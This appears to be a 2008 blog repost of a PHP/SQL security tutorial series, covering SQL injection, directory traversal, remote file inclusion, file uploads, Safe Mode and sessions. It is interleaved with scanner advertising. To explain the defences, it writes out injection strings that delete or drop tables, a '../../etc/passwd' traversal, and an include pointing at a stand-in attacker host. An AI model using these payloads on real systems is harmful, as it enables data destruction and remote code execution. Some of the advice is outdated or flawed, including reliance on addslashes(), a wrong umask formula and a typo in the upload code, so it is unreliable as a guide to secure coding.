Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL injection, Cross site scripting and other vulnerabilities. It checks password strength on authentication pages and automatically audits shopping carts, forms, dynamic content and other web applications. As the scan is being completed, the software produces detailed reports that pinpoint where vulnerabilities exist. Take a product tour or download the evaluation version today!

Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!

To check whether your website has cross site scripting vulnerabilities, download the Free Edition from http://www.acunetix.com/cross-site-scripting/scanner.htm. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site).

Later In The Series

This series will go on to look at SQL databases, and protecting against SQL injection attacks, as well as file operations and session management, including a look at one of the features of PHP designed to increase security and avoid PHP hack attacks- the PHP Safe Mode.

Source: Website security

PHP / SQL Security - Part 2

2008-06-05T12:52:00.003+05:30

Last Time...

In the previous article, I looked at processing and securing user input when it is to be redisplayed or executed as PHP code. Now its time to consider entering that data into a database, and cover the security issues which arise when doing so.

SQL Injection

SQL (Structured Query Language) is the language used to interface with many database systems, including MySQL, PostgreSQL and MSSQL. Certain words and characters are interpreted specially by SQL, as commands, separators, or command terminators, for instance.

When a user enters data into a form, there is nothing stopping them entering these special commands and characters. Consider the PHP code below:

$query = “INSERT INTO orders(address) VALUES('$_GET['address']')”;
$result = mysql_query($query);

A form with a textbox named address would be used to gather the information for this page. We'll ignore any other form elements for now, but obviously there'd be the order items, a name, possibly a price, a delivery date, and so on, which would also all need storing in a database.

Imagine a perfectly legitimate user comes along and enters the following address

14 King's Way
Kingston
Kingham County

The database would spit back an error because the SQL command would be malformed. In the query, the address value is surrounded by single quotes, because it is a string value. When the database hits the apostrophe in King's Way, it will treat it as the closing single quote, and end the string. The rest of the address will be treated as SQL commands. Since these “commands” don't exist, the database returns to PHP with an error.

Now consider an attacker entering the following information into the form:

14 Kings Way
Kingston
Kingham County');DELETE FROM orders *; INSERT INTO ORDERS(address) VALUES('Your data just got deleted by us. We win

Now, the command will succeed. The expected string data is presented, along with a closing quote. The opening ( after VALUES is closed, and the SQL command is terminated using a semicolon. After this, another command begins, one which tells the database to delete the entire contents of the orders table. Then, because the SQL hard-coded into the PHP contains another closing single quote, a third SQL command is entered, which leaves an open string value. This will be matched up with the final quote in the hard-coded SQL, and the entire command is syntactically correct, as far as SQL is concerned, and will therefore execute with no complaint.

Clearly, it is not desirable for any user to be able to issue arbitrary queries simply by posting data in a form. Luckily for us, as with the PHP and HTML input issues discussed in part 1, PHP provides a solution. The addslashes() and stripslashes() functions step in to prevent the above scenarios, and any number of similar attacks.

addslashes() will escape characters with a special meaning to SQL, such as ' or ; by prefixing them with a backslash (\), the backslash itself is also escaped, becoming \\. stripslashes() performs the opposite conversion, removing the prefix slashes from a string.

When entering data into a database, addslashes() should be run on all user-supplied data, and any PHP generated data which may contain special characters. To guarantee safety, simply run addslashes() on every string input to the database, even if it was generated internally by a PHP function. Similarly, be sure to run stripslashes() when pulling data back out from the database.

Non-String Variables

Since PHP automatically determines the type of a variable, you should also check variables which you expect to be integers or other data types. For instance, the int type in SQL does not need to be quoted, but it is still possible for a string in a PHP variable to be inserted into an SQL query in the position an integer would usually take. Consider the example below.

$query = “INSERT INTO customers(customer_number) VALUES($_POST['number'])”;

If a user supplied the value

0); DROP TABLE customers; CREATE TABLE customers(customer_id

then the same kind of attack as before can be mounted. In this case, simply using addslashes() isn't enough: you will prevent the command execution, but the database will still consider this to be an error as the words are not valid in that context. The only way to ensure against this kind of attack is to perform consistent input validation. Make sure that a value you think should be an integer really is. A regular expression that matches any non-integer characters should return false on a PHP string containing only an “integer”. When that string is treated as an integer by SQL, it will therefore not cause any errors or unexpected code execution.

Database Ownership & Permissions

There are other precautions you may be able to take to prevent some of the more serious SQL injection attacks. One such course of action is to implement access control on the database. Many database packages support the concept of users, and it should be possible to set an owner, with full permissions to modify anything within the database, and other users which may only connect and issue SELECT or INSERT queries, thus preserving any data already entered against DELETE or DROP commands. The specifics of achieving such protection will depend on the database system you're using, and consulting the documentation or user manual should reveal how to implement access control.

The user designated as the database owner should never be used to connect to the database from a PHP script; owner privileges should be used on consoles or web admin interfaces such as phpmysqladmin. If a script requires the DELETE or UPDATE commands, it should ideally use a separate user account to the standard account, so that the standard account can only add data using INSERT, and retrieve data using SELECT. This separation of permissions prevents attacks by limiting the effectiveness of any one SQL injection avenue. If, by poor or forgetful programming, a user can inject SQL into one script, they will gain only SELECT / INSERT permissions, or only UPDATE / DELETE permissions, and never sufficient permissions to drop entire tables or modify the table structure using the ALTER command.

File Permissions

Data in a database system must be stored somehow on disk. The database system itself is responsible for exactly how the data is stored, but usually there will be a data/ directory under which the database keeps its files. On a shared hosting system, or a system which allows users some access to the filesystem, it is essential to reduce the permissions on this file to a bare minimum; only the system user under which the database process itself runs should have read or write access to the data files. The web server does not need access as it will communicate with the database system for its data, instead of accessing the files directly.

Making Database Connections

PHP usually connects to the database management system through a TCP socket or a local domain socket (on UNIX/Linux). Where possible, you should prevent connections to this socket from IP addresses or processes other than the web server, and any other process which needs access to the data (for example, if you have internal order processing software which does not run through the web server). If the web server and the database server are on the same computer, and no other services are running which may be exploited to provide a database connection, it should be sufficient to allow only the local host (given by the hostname localhost or the IP address 127.0.0.1) access to the TCP port on which the database manager is listening. If the web server and database server are on different machines, the IP of the web server should be specified explicitly. In short, limit the access to the database as much as possible without breaking anything that needs access to it. This should help to ensure that the only access channel is via your PHP scripts, and those have been written securely enough to check for unexpected or unauthorised data and reject it before it reaches the database.

Database Passwords In Scripts

Finally, a word on database passwords. Each database user should be assigned a password, and your scripts will need this password in order to initiate a connection to the database. Ideally, scripts containing configuration data such as the database username and password should be stored outside of the web server's document root. This prevents a casual attacker retrieving the plain text of the configuration file and obtaining the database password.

Other methods to consider are to use a .php extension for the file, instead of the commonly used .inc extension, for included files. The .php extension ensures that the file is passed through PHP before output is sent to the user's browser, and so it is possible to prevent display of data within the file simply by not echoing it!

.htaccess files provide a third method of protecting against password grabbing. If you deny web access to files whose names begin with .databaseconfig, for instance, a user cannot easily obtain the file through the web server directly.

Of course, a user may still be able to exploit file access security vulnerabilities in scripts to obtain, or even to change, the contents of the file.

How to check for PHP vulnerabilities

The best way to check whether your web site & applications are vulnerable to PHP security attacks is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web application scanner will also check for SQL injection, Cross site scripting & other web vulnerabilities.

The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities. For more information & a trial download click here.

Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner

Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!

Later In The Series

The next article in this series looks at PHP and file access in detail.

Source: Website security

PHP / SQL Security - Part 3

2008-06-05T12:43:00.002+05:30

Last Time...

In the first article, I covered input validation and securing user input. In the previous article, I looked at securing database input, and securing databases themselves. This led on to the issue of controlling file access within PHP, which is the topic of this part of the series.

Directory Traversal Attacks

In a directory traversal attack, the attacker will specify a filename containing characters which are interpreted specially by the filesystem. Usually, . refers to the same directory, and .. refers to its parent directory. For example, if your script asks for a username, then opens a file specific to that username (code below) then it can be exploited by passing a username which causes it to refer to a different file.

$username = $_GET['user'];
$filename = “/home/users/$username”;
readfile($filename);

If an attacker passes the query string

?user=../../etc/passwd

then PHP will read /etc/passwd and output that to the user. Since most operating systems restrict access to system files, and with the advent of shadow password files, this specific attack is less useful than it previously was, but similarly damaging attacks can be made by obtaining .php files which may contain database passwords, or other configuration data, or by obtaining the database files themselves. Anything which the user executing PHP can access (usually, since PHP is run from within a web server, this is the user the web server runs as), PHP itself can access and output to a remote client.

Once again, PHP provides functions which step in and offer some protection against this kind of attack, along with a configuration file directive to limit the file paths a PHP script may access.

realpath() and basename() are the two functions PHP provides to help avoid directory traversal attacks. realpath() translates any . or .. in a path, resulting in the correct absolute path for a file. For example, the $filename from above, passed into realpath(), would return

/etc/passwd

basename() strips the directory part of a name, leaving behind just the filename itself. Using these two functions, it is possible to rewrite the script above in a much more secure manner.

$username = basename(realpath($_GET['user']));
$filename = “/home/users/$username”;
readfile($filename);

This variant is immune to directory traversal attacks, but it does not prevent a user requesting a file they weren't expected to request, but which was in the same directory as a file they are allowed to request. This can only be prevented by changing filesystem permissions on files, by scanning the filename for prohibited filenames, or by moving files you do not want people to be able to request the contents of outside of the directory containing the files you do want people to be able to access.

The configuration file variable open_basedir can be used to specify the base directory, or a list of base directories, from which PHP can open files. A script is forbidden to open a file from a directory which is not in the list, or a subdirectory of one in the list.

Note that PHP included files are subject to this restriction, so the standard PHP include directory should be listed under open_basedir as well as any directories containing files you wish to provide access to through PHP. open_basedir can be specified in php.ini, globally in httpd.conf, or as a per-virtual host setting in httpd.conf. The php.ini syntax is

open_basedir = “/path:/path2:/path3”

The httpd.conf syntax makes use of the php_admin_value option,

php_admin_value open_basedir “/path:/path2:/path3”

open_basedir cannot be overridden in .htaccess files.

Remote Inclusion

PHP can be configured with the allow_url_fopen directive, which allows it to treat a URL as a local file, and allows URLs to be passed to any PHP function which expects a filename, including readfile() and fopen(). This provides attackers with a mechanism by which they can cause remote code to be executed on the server.

Consider the following case. Here, the include() function is used to include a PHP page specific to an individual user. This may be to import their preferences as a series of variables, or to import a new set of functionality for a different user type.

include($_GET['username'] . '.php');

This assumes that the value of username in the GET request corresponds to the name of a local file, ending with .php. When a user provides a name such as bob, this looks for bob.php in the PHP include directories (current directory, and those specified in php.ini). Consider, however, what happens if the user enters

http://www.attackers-r-us.com/nastycode

This translates to http://www.attackers-r-us.com/nastycode.php and with allow_url_fopen enabled, this remote file will be included into the script and executed. Note that the remote server would have to serve php files as the raw script, instead of processing them with a PHP module first, in order for this attack to be effective, or a script would have to output PHP code ( readfile(realnastycode.php) for instance).

Mechanisms such as the above allow attackers to execute any code they desire on vulnerable web systems. This is limited only by the limitations placed on PHP on that system, and the limitations of the user under which PHP is running (usually the same user that the entire web server is running under).

One simple way to prevent this style of attack is to disable allow_url_fopen. This can be set in php.ini. If allow_url_fopen is required for some parts of your site, another technique is to prefix the file path with the absolute path to the starting directory. This reduces the portability of your scripts, since that path must be set depending on where the script was installed, but it results in increased security, since no path starting with a / (or X:\, or whatever it is on your operating system) can be interpreted as a URL.

$username = basename(realpath($_GET['username']));
include('/home/www/somesite/userpages/' . $username . '.php');

The code above highlights not only prefixing with an absolute path, but also protecting against directory traversal using basename and realpath.

Note that the third solution to the remote inclusion problem is to never use user-supplied filenames. This alleviates a large number of file-related security issues, and is recommended wherever possible. Databases and support for PHP concepts such as classes should reduce user-specified file operations to a minimum.

File Permissions

Files created with PHP have default permissions determined by the umask, short for unmask. This can be found by calling the umask() function with no arguments.

The file permissions set are determined by a bitwise and of the umask against the octal number 0777 (or the permissions specified to a PHP function which allows you to do so, such as mkdir("temp",0777) ). In other words, the permissions actually set on a file created by PHP would be 0777 & umask().

A different umask can be set by calling umask() with a numeric argument. Note that this does not default to octal, so umask(777) is not the same as umask(0777). It is always advisable to prefix the 0 to specify that your number is octal.

Given this, it is possible to change the default permissions by adding bits to the umask. A umask is "subtracted" from the default permissions to give the actual permissions, so if the default is 0777 and the umask is 0222, the permissions the file will be given are 0555. If these numbers don't mean anything to you, see the next section on UNIX File Permissions.

The umask is clearly important for security, as it defines the permissions applied to a file, and therefore how that file may be accessed. However, the umask applies server-wide for the duration it is set, so in a multi-threaded server environment, you would set a default umask with appropriate value, and leave it at that value. Use chmod() to change the permissions after creation of files whose permissions must differ from the default.

UNIX File Permissions

UNIX file permissions are split into three parts, a user part, a group part, and an "others" part. The user permissions apply to the user whose userid is specified as the owner of the file. The group permissions apply to the group whose groupid is specified as the group owner of the file, and the other permissions apply to everyone else.

The permissions are set as a sum of octal digits for each part, where read permission is 4, write permission is 2, and execute permission is 1. To create UNIX file permissions, add each permission digit you want to apply to each part, then combine the three to get a single octal number (note, on the command line, chmod automatically treats numbers as octal, in PHP, you need to specify a leading zero).

The permissions are also commonly displayed in the form of r (read), w (write) and x (execute), written three times in a single row. The first three form the user permissions, second the group, and third others.

Take, for example, a file owned by user andrew and group users. The user andrew must be able to read, write and execute the file, the users group must be able to read and execute it, and everyone else must be able to execute only.

This corresponds to -rwxr-x--x, where each - is a placeholder for the missing character of permissions (w, for instance, in the group, and rw in the others). The - at the front is due to the fact that there is an extra part which specifies other, UNIX specific, attributes. The ls directory listing tool uses this first column to display a d character if the item is a directory.

To obtain this permission set in octal, simply add the digits 4, 2 and 1, in three separate numbers, then combine them in order. The user permissions are rwx, which is 4 + 2 + 1 = 7. The group permissions are r-x, which is 4 + 1 = 5, and the other permissions are --x, which is 1 = 1. We now have the values 7 for user, 5 for group, and 1 for others, which combines to the octal number 0751.

The actual permissions applied to a file created depend on the permissions set, and the umask, which subtracts from the permissions set (actually its a bitwise and, but it has the effect of subtracting, as long as you treat the permissions as though they were three distinct octal numbers, and not a single three digit octal number). A umask of 0266, (which is equivalent to not write, not read or write, not read or write, for user, group, and others, respectively) applied to a default permission of 0777, results in 0511, which is -r-x--x--x. The umask is determined in the same way as the permissions, but you start with 7 and subtract the numbers for the permissions you do not want.

How to check for PHP vulnerabilities

The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities. For more information & a trial download click here.

Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner

Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!

File Uploads

So far, we have discussed file operations as they apply to existing files on the server, and files created by a PHP script directly. We have not considered the security issues surrounding user-provided files, i.e. direct file uploads. PHP has a number of built-in functions to deal with file uploads in a safe manner, and these will be discussed in the next article of the series.

Source: Website security

PHP / SQL Security - Part 4

2008-06-05T12:40:00.002+05:30

Last time ...

This series started with a look at secure input and output processing, preventing the attacker from causing the display of your web sites being adversely affected by his input. These concepts were extended to include database input and output, where we looked at SQL injection, as well as other database security issues such as permissions and ownership, and storing database passwords in PHP scripts. Part three moved on to take a look at file security, directory traversal attacks, remote inclusion and file permissions. In this part, we will wrap up the discussion on file security by looking in detail at file uploads, an aspect of PHP where security matters most!

File Uploads

File uploads can occur as part of a multi-part HTTP POST request. PHP provides ways to process these file uploads in a secure manner, including checking to make sure the file you're operating on was in fact an uploaded file. There are several security issues with file uploads which should be addressed when designing secure PHP sites.

In the file-upload procedure, the filename as determined by the web browser is passed to the web server, and thus to the PHP script. The filename supplied by the browser is part of the submitted data, which may be under the control of an attacker and therefore this filename should be distrusted wherever it is possible to do so.

Consider the following case as an example. A PHP script which moves files to the location reported by $_FILES['file']['name'] receives an upload from a browser which told the web server the file it had just uploaded was /home/andrew/.bashrc

Normally, .bashrc is a file which is associated with the UNIX Bash shell, and contains commands executed by Bash every time a Bash shell is started. These commands clearly run as the user who invoked the shell, and have all of the privileges and permissions of that user. If PHP has write access to their home directory, using the name of an uploaded file as it was supplied would allow for an attacker to position a carefully prepared .bashrc file with a single POST request. This file might then open a terminal session piped over a network port, or run some kind of exploit or root kit, or worse!

In order to prevent this kind of attack, we must take heed of the advice from part three of this series, stripping the filename down to remove the path data, and distrust the browser-supplied filename. In doing so, it is ideally best to create unique file names locally, perhaps based on the current time, or some unique sequence stored in a (secure) database, and to use those unique names as the actual on-disk filename. In order to avoid confusing end-users, it is possible to map the real (unique) filename to the browser-supplied filename by means of a database, and the browser-supplied name can be used for all interaction with the user, whereas the unique, locally generated filename, will be used for any server-side file operations.

If such a mechanism is not practical, for whatever reason, the precautions from part three should be followed, and the browser-supplied filename should be expanded to an absolute path using the realpath() function, and then the file name part only obtained with the basename() function. realpath() translates any . (which refers to the current directory) or .. (which refers to the parent directory) in a path, resulting in the correct absolute path for a file. basename() strips the directory part of a name, leaving behind just the filename itself. This sanitised filename should then be reasonably safe to use directly with the file functions of PHP.

However, if an attacker somehow managed to learn your directory structure, then they may be able to overwrite other files in the directory into which you place any uploaded files, by providing an upload with the same name as an existing one, or with the same name as one of your PHP scripts, which may then get included into another script and executed, or executed directly by web access to that script, if it is in a location accessible to the web server. The script execution scenario represents a very clear security threat, as has been explained in the previous parts of this series, but many more subtle security issues can occur as a result of replacement of a variety of system files, files PHP or the web server rely on, or files used by your web application itself.

To maintain the best security, locally generated and unique filenames should be preferred over the browser-supplied ones, and checks for the existence of a file should be made prior to moving an uploaded file into a directory, so as to prevent accidental (or intentional!) overwriting of files already on the server.

File uploads can be turned off altogether if there is no reason for your web application to accept uploaded files. This may be achieved by setting the following directive in php.ini

file_uploads = Off

When file uploading is turned on, it is possible for the drive to become filled by repeated uploads or by large files being uploaded. PHP provides a mechanism to limit the length of any uploaded files, preventing the upload of files larger than this size, but you would have to perform checks yourself to make sure that the disk being used as the destination for these uploaded files contains enough space that the file upload will not cause the free space to go below a critical amount required for the functioning of the system. If the web server, or any other service on the system, cannot create the files it needs to perform its duty, because uploaded files have filled the available drive space, this is a form of Denial of Service attack.

Individual POST requests can be limited in size using the following directive in the php.ini file

post_max_size = 8M

Where the 8M sets an 8MB limit for the entire POST request. Note that file uploads make up only a part of the multi-part HTTP POST request, and that if multiple files are uploaded, the sum of their sizes forms the total file upload size, which is only one part of the POST request size.

To control file upload size specifically, you can use the following php.ini directive

upload_max_filesize = 2M

Where 2M specifies a 2MB filesize limit. Once again, note that this is the total file size for all files included in the POST request, and not a per-file limit. The upload_max_filesize should be slightly smaller than the post_max_size because the POST request will contain other data, headers and form fields, beyond the file data itself.

The default post_max_size is 10MB, which is much larger than most sites require. Processing a POST request takes time, so limiting the size of the request prevents an attacker from initiating several large POST requests which would use up resources on the server and deny service to other users. Setting this value to a lower value, around 2MB for sites which require small file uploads, or under 1MB for sites which do not, should improve the responsiveness of the server if it is under attack.

Uploaded files are moved to a temporary directory, since they are processed by the web server itself, before PHP can see them. The default location for temporary files is the system temporary file directory, which is usually defined to be /tmp on a UNIX system. This temporary file directory is often readable by all users, and therefore storing uploaded files here, even temporarily, is not good security, since any user with access to the system is likely to have access to the uploaded file data, between the time it was uploaded and the time that a PHP script moves the file into its final destination.

It is considered good practice to change the directory used for uploading temporary files to one which is owned by the user under which the web server (and, consequently, PHP) runs, and prevent other users accessing this directory. The following line in php.ini tells PHP to use a different location for temporary storage of uploaded files.

upload_tmp_dir = /var/www/tmp

You can change /var/www/tmp to a different directory, suitable for your server layout, and create it using the following

cd /var/www
mkdir tmp
chown httpd tmp

where httpd is the username of the user account under which the web server runs.

When dealing with uploaded files, it is essential to know that the file you are performing file operations on was, in fact, an uploaded file. It is possible to trick PHP into operating on a file which was not actually uploaded, by providing an incorrect filename, or exploiting some other vulnerability in the web application. To make absolutely certain that you are operating on a file which was indeed uploaded, PHP provides two functions. is_uploaded_file() returns true only if the filename it was given was actually uploaded, and move_uploaded_file() performs a file move operation only if the filename was in fact an uploaded file. Combining these two functions is much safer than using the standard file manipulation functions such as copy().

$supplied_name = $_FILES['file']['name'];

$temp_name = $_FILES['file']['tmp_nam'];

$count++; // Persistent counter to uniquely identify files

$local_name = "file_$count";

if( is_uploaded_file($temp_name) )

{

move_uploaded_file($temp_name, "/home/files/$local_name");

echo "File $supplied_name successfully uploaded.";

}

else

{

die("Error processing the file");

}

The script above combines some of the advice of the above sections. A locally generated unique name is used for storing the files on the filesystem, the is_uploaded_file() and move_uploaded_file() functions are used to ensure that the file being operated on was an uploaded file, and an attacker did not trick us into moving some system or other important file into a location from which the web server can access it directly, and the browser-supplied filename is displayed to the user for consistency.

The example could have been greatly improved; for example, checking that the free disk space is not below a certain level before moving the file into it, so as to prevent filling the drive, or storing a mapping of local unique name to browser-supplied name in a database.

As a final word on file uploads, it is often a good idea to store uploaded files outside of the web server's document tree, even if these files are to be retrieved later. It is possible to create a PHP script, download.php, which takes a filename in a GET request and uses readfile() to send the file to the user, creating the appropriate headers for length and content-type. This is much safer than allowing direct download, especially of user-uploaded files, since the script can perform additional checking to make sure that the requested file is one which should be downloadable, and can also perform other housekeeping such as tracking download counts, or imposing limitations. Allowing downloads through the web server directly eliminates much of this security and functionality.

How to check for PHP vulnerabilities

The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities. For more information & a trial download click here.

Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner

Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!

Later in the series

In the fifth part, the discussion will lead away from specific security considerations and we will look at a more general method for improving the overall security of the PHP system. The PHP Safe Mode imposes additional restrictions on scripts, and increases the security of multi-user hosting systems, preventing users accessing each others scripts or files. The specifics of how safe mode works, why it is a good idea to use it, and how to go about doing so, are discussed next time. In addition, some of the drawbacks of using safe mode are also explained.

Source: Website security

PHP / SQL Security - Part 5

2008-06-05T12:38:00.001+05:30

Last time ...

Long ago, back in the beginning, we covered input verification, SQL security, database security, and file operations.

In the last article, we looked at file uploads in detail. This followed on from input verification, SQL security, and file management security.

It was promised at the end of part four that the PHP Safe Mode would be introduced next. Safe Mode is a generic set of options and restrictions applied to the entirety of PHP, restricting access to files, preventing operations which have severe security implications, and improving the security of multi-user hosting environments.

What Is Safe Mode?

Safe mode is an attempt to solve some of the problems that are introduced when running a PHP enabled web server in a shared hosting environment. The additional security checks imposed by Safe Mode are, however, performed at the PHP level, since the underlying web server and operating system security architecture is usually not sufficient to impose the necessary security restrictions for a multi-user environment, in which many users may be able to upload and execute PHP code.

The problem generally arises when PHP is run in a web server which hosts and executes scripts provided by multiple users. Since the web server process itself runs as a single system user, that user account must have access to each hosted user's files. This means that any script running on the web server has access to each user's files.

It is not possible to use operating system level security to restrict which files can be accessed, since the web server process (and hence PHP) needs access to all of them in order to serve user web pages. The only available solution is to address these issues at the PHP level.

PHP Safe Mode does just this; it imposes a set of restrictions on multi-user systems, within the core PHP engine, and scripts are run within those imposed restrictions. The full details of Safe Mode are explained below, but I would like to point out here that while Safe Mode restricts PHP scripts, those restrictions obviously do not (and cannot!) apply to external programs executed by PHP. It is therefore possible to specify a safe directory for executable programs, but even with this capability, if any of those programs allow access to files outside of the Safe Mode configured directories, it will still be possible for a malicious user to access another user's files.

What Does Safe Mode Restrict?

Enabling Safe Mode imposes several restrictions on PHP scripts. These restrictions are mostly concerned with file access, access to environment variables and controlling the execution of external processes.

Restricting File Access

Additional checks are performed by PHP when running in Safe Mode, prior to any file operation taking place. In order for the file operation to proceed, the user ID of the file owner, for the file being operated on, must be the same as the user ID of the script owner, for the script performing the file operation.

There are problems which may be encountered when this mechanism is turned on, notably when attempting to work with files owned by different users, but in the same document tree, and files which have been created at runtime by the script (which will be owned by the owner of the web server process).

In order to work around these issues, a relaxed form of the file permission checking is also provided by Safe Mode. Using the php.ini directive (or setting in .htaccess or a virtual hosting section or directory section in httpd.conf) below, it is possible to relax the user ID check to a group ID check. That is, if the script has the same group ID as the file on which a file operation was requested, the operation will succeed. If the script owners and the web server are members of the same group, and all hosted files are owned by this group, the file operations will succeed regardless of user ID.

safe_mode_gid = On

The user and group ID restrictions are not enforced for files which are located within the PHP include directories, provided those directories are specified in the safe_mode_include_dir directive. This means that you should always specify the default PHP include directories in this directive in the php.ini configuration file.

Restricting Access To Environment Variables

When PHP is running in Safe Mode, it restricts access to environment variables based on two php.ini directives. Directives are provided for allowing write access to certain environment variables, and for restricting write access to certain environment variables. Each is a comma-delimited list of affected environment variables.

Restrictions On Running External Processes

Restrictions are also imposed on the execution of external processes (i.e. not PHP scripts). Binaries in the specified safe directory may be executed (See the Configuration Directives) section. exec(), system(), popen() and passthru()are affected by these settings. shell_exec() and the backtick operator do not work at all when Safe Mode has been enabled.

Other Imposed Restrictions

Several functions are restricted in Safe Mode. Some of the most important of these are listed later. Furthermore, the PHP_AUTH_USER, PHP_AUTH_PW and AUTH_TYPE variables are not made available in Safe Mode.

Safe Mode Configuration Directives

The following directives control the Safe Mode settings. These should be set in php.ini. Some may also be set (or overridden) in the httpd.conf file.

safe_mode = boolean

This directive enables PHP Safe Mode. The recommended strategy for configuring a shared hosting environment to use Safe Mode is to enable Safe Mode globally, in php.ini, and configure sensible default values here. Specific overriding values can then be made in httpd.conf for each host, location, or directory.

safe_mode_gid = boolean

This directive causes PHP to relax the user ID equality check between scripts and the files on which they operate to a group ID check. The reasons why this directive may be useful were explained in detail above.

safe_mode_include_dir = string

The user and group ID restrictions are ignored for files included from this directory and its subdirectories. The directory must be listed in the include_path directory, or a full path name given for include statements. The value of this directive may be a colon-separated list of directories for which inclusion is allowed without user or group ID checking being performed.

Note that this restriction acts as a directory prefix, rather than a complete directory name. As such, a value of /home/wwwroot/inc allows files within /home/wwwroot/inc, /home/wwwroot/incl, /home/wwwroot/include and /home/wwwroot/incriminating_evidence to be included without restriction. If in doubt, always end the directory path with a trailing / to prevent it being interpreted as a prefix such as those listed above.

safe_mode_exec_dir = string

This directive specifies the path under which executables may be run in Safe Mode. This restriction affects system(), exec(), popen() and passthru(). The directory separator must always be a /, even on a Windows server.

safe_mode_allowed_env_vars = string

This directive specifies prefixes for environment variables which may be altered by a script running in Safe Mode. The default action is to allow users to edit environment variables beginning with PHP_ (i.e. have a prefix of PHP_). If this directive is left empty, a script running under safe mode will be able to modify any environment variable.

safe_mode_protected_env_vars = string

Similarly to above, this directive allows you to specify environment variables which may not be edited by the script. Even if safe_mode_allowed_env_vars also includes an environment variable listed here, PHP will prevent a script changing that environment variable.

open_basedir = string

The open_basedir directive has been covered already in this series. It restricts all file operations to the specified directory tree. This directive works outside of Safe Mode also. The list of directories for which file access is allowed must be separated by a semicolon on Windows, or by a colon on all other systems.

disable_functions = string

This directive lists functions to disallow. A comma-delimited list of function names is used. Like open_basedir, this directive does not require that Safe Mode has been enabled.

Functions Restricted By Safe Mode

There is a full list of functions for which Safe Mode imposes certain restrictions at http://www.php.net/manual/en/features.safe-mode.functions.php

Below, I list some of the most important limitations.

putenv()

putenv() takes into account the safe_mode_allowed_env_vars and safe_mode_protected_env_vars directives mentioned above.

move_uploaded_file()

Moving uploaded files is subject to the same User ID or Group ID checking imposed on all file operations under Safe Mode. The file being moved must have the same user ID or group ID (if relaxed group restrictions are enabled) as the script moving it. Generally, the file will be created with the user ID of the web server process, and as such the relaxed restrictions are likely to be required in order to move uploaded files.

chdir() mkdir() rmdir()

Changing the current working directory of the script depends on the requirements imposed by user and group ID restrictions and by open_basedir. Similar restrictions are imposed for mkdir() and rmdir().

mail()

The additional parameters (fifth argument) have no effect when running under Safe Mode, since these would allow arbitrary options to be passed to the mailer program.

set_time_limit()

Setting an execution time limit within a script is ignored when the script is running under Safe Mode.

dl()

Dynamically loading PHP extensions is disabled when running in Safe Mode.

Overriding Safe Mode Settings

As I said above, it is recommended to set default settings which will never cause security problems in php.ini, and enable Safe Mode there. Per-virtual-host or per-directory settings for values such as open_basedir, safe_mode_exec_dir, and safe_mode_include_dir may be specified within httpd.conf using the php_admin_value and php_admin_flag directives.

Consider the following example, which is a (slightly modified) section of an httpd.conf from a live web server I run.

ServerAdmin andrew@somehost.com

DocumentRoot /home/wwwroot/andrew/

ServerName andrew.somehost.com

php_admin_value open_basedir "/home/wwwroot/andrew"

php_admin_value open_basedir "/home/wwwroot/:/home/photos/:/usr/local/

lib/php/"

php_admin_flag safe_mode off

Here, within the Apache VirtualHost directive, an open_basedir value has been set for the entire virtual host, and overridden for a specific location which requires access to other directories. Safe Mode has been turned off for this location also, again because the gallery software installed there requires functionality which is disabled by Safe Mode.

As you can now clearly see, it is possible to set PHP configuration information on a per-host, per-directory or per-location basis within the httpd.conf file. You will notice also that the open_basedir directories all end with a trailing / so as to prevent them being interpreted as directory prefixes.

How to check for PHP vulnerabilitiesscanner

The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities. For more information & a trial download click here.

Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner

Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!

Later in the series

In the sixth, and final, part of this series on PHP and SQL security, we look at session management, maintaining persistent data across multiple HTTP requests and site visits, and the security issues surrounding the way PHP manages such persistence.

We will also close with a brief look at server security, and introduce two mechanisms for improving the security guarantees of a multi-user server, over and above the protection provided by the PHP Safe Mode; covering both additional security modules for Apache and using a reverse-proxy with multiple instances of Apache.

Source: Website security

PHP / SQL Security - Part 6

2008-06-05T12:35:00.002+05:30

Looking back...

In this series, I started with techniques for securing user input, then extended those techniques to applications where database input and output is required, looking at some SQL security issues. I then moved on to deal with file operations and file uploads, looking specifically at the security issues involved with accessing files based on some user supplied filename, and user-supplied files (uploaded files). In part 5, I discussed the PHP Safe Mode in some detail.

In this sixth, and final, part of the series, I will cover session management, and conclude with a brief look at security modules for Apache, and multiple server instances.

What Are Sessions?

Sessions are a PHP construct allowing persistent data to be retained across HTTP connections. In English, sessions allow you to store the values of certain variables across page visits. This is achieved by serializing the data (converting it to some binary representation) and writing it out to a file (or a database, or wherever you tell it), when a page is finished processing in PHP. When the next page (or that same page some time later) is processed, and PHP is told to start a session, it will check if the user already has a session, and read their data back in, unserializing it and assigning the variables. This allows you to keep track of a user across multiple visits, or while browsing multiple pages on your site.

For example, you can create a shopping cart using sessions, storing an array of items added to the cart in a session variable, and loading it on every page. When the user clicks 'Add to cart' you can add the item to the array, and it will be saved for the next page the user goes to. The whole array can be fetched on your checkout page and appropriate processing will take place.

How Do Sessions Work?

As many probably know, HTTP is a stateless protocol. By stateless, I mean that any HTTP connection is unaware of previous connections made by the same client, to the same server (persistent connections excepting). There are two useful ways in which PHP can pass identification information between pages in order to uniquely associate a user with a session.

PHP can use cookies to store a session ID. The cookie value is sent on every request, so PHP can match that up to its session data and retrieve the correct set of variables for that user. Another way is to pass the session ID in URLs. In order to do this, URL rewriting must be enabled.

